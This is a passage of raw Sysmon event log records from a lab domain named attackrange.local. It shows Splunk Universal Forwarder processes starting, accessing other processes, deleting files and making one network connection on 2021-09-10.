Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:17.382{7BD73061-7121-613B-1F0B-00000000F001}6724C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000015241Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:15.471{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50213-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.975{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E92327BE404E9109D953C495FDF4F1A4,SHA256=70839C829A43885F8C59E4E7ACC03A4A59174EC4983E9999D857016373084F20,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015243Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:18.521{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=267F6EA3E78B0989C35612954D88EBF9,SHA256=7951B85F2C58E9B77EB8F40F43F25D992DE67EA30643B9E89429587A33808F29,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.553{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7122-613B-210B-00000000F001}6708C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.553{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.553{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.553{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.553{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.553{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7122-613B-210B-00000000F001}6708C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.553{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7122-613B-210B-00000000F001}6708C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.554{7BD73061-7122-613B-210B-00000000F001}6708C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.397{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7CBEFF032F6CF3731D82486A9FA97A18,SHA256=A8BEF1DA5E4D42EEFED51C9D248AC8313A089942328472656A751D9F0DE916DC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.397{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DA9C640C763B56C04D7BA33296747493,SHA256=35557639371DAA1972686DBF978C600F48C7CA8D06FF832892E1E28D2ACBB4B8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.053{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7122-613B-200B-00000000F001}5300C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.053{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.053{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.053{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.053{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.053{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7122-613B-200B-00000000F001}5300C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.053{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7122-613B-200B-00000000F001}5300C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:18.053{7BD73061-7122-613B-200B-00000000F001}5300C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015244Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:19.553{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A480D1B704DCEC3D3A305E258FE631DB,SHA256=3ECF23BBC64A6D52D843EABDD53EBA497B8CBB1E17C7D4420F30EA21CB7F6F4D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.756{7BD73061-7123-613B-220B-00000000F001}69245168C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.556{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7CBEFF032F6CF3731D82486A9FA97A18,SHA256=A8BEF1DA5E4D42EEFED51C9D248AC8313A089942328472656A751D9F0DE916DC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.506{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7123-613B-220B-00000000F001}6924C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.506{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.506{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.506{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.506{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.506{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7123-613B-220B-00000000F001}6924C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:19.506{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7123-613B-220B-00000000F001}6924C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program 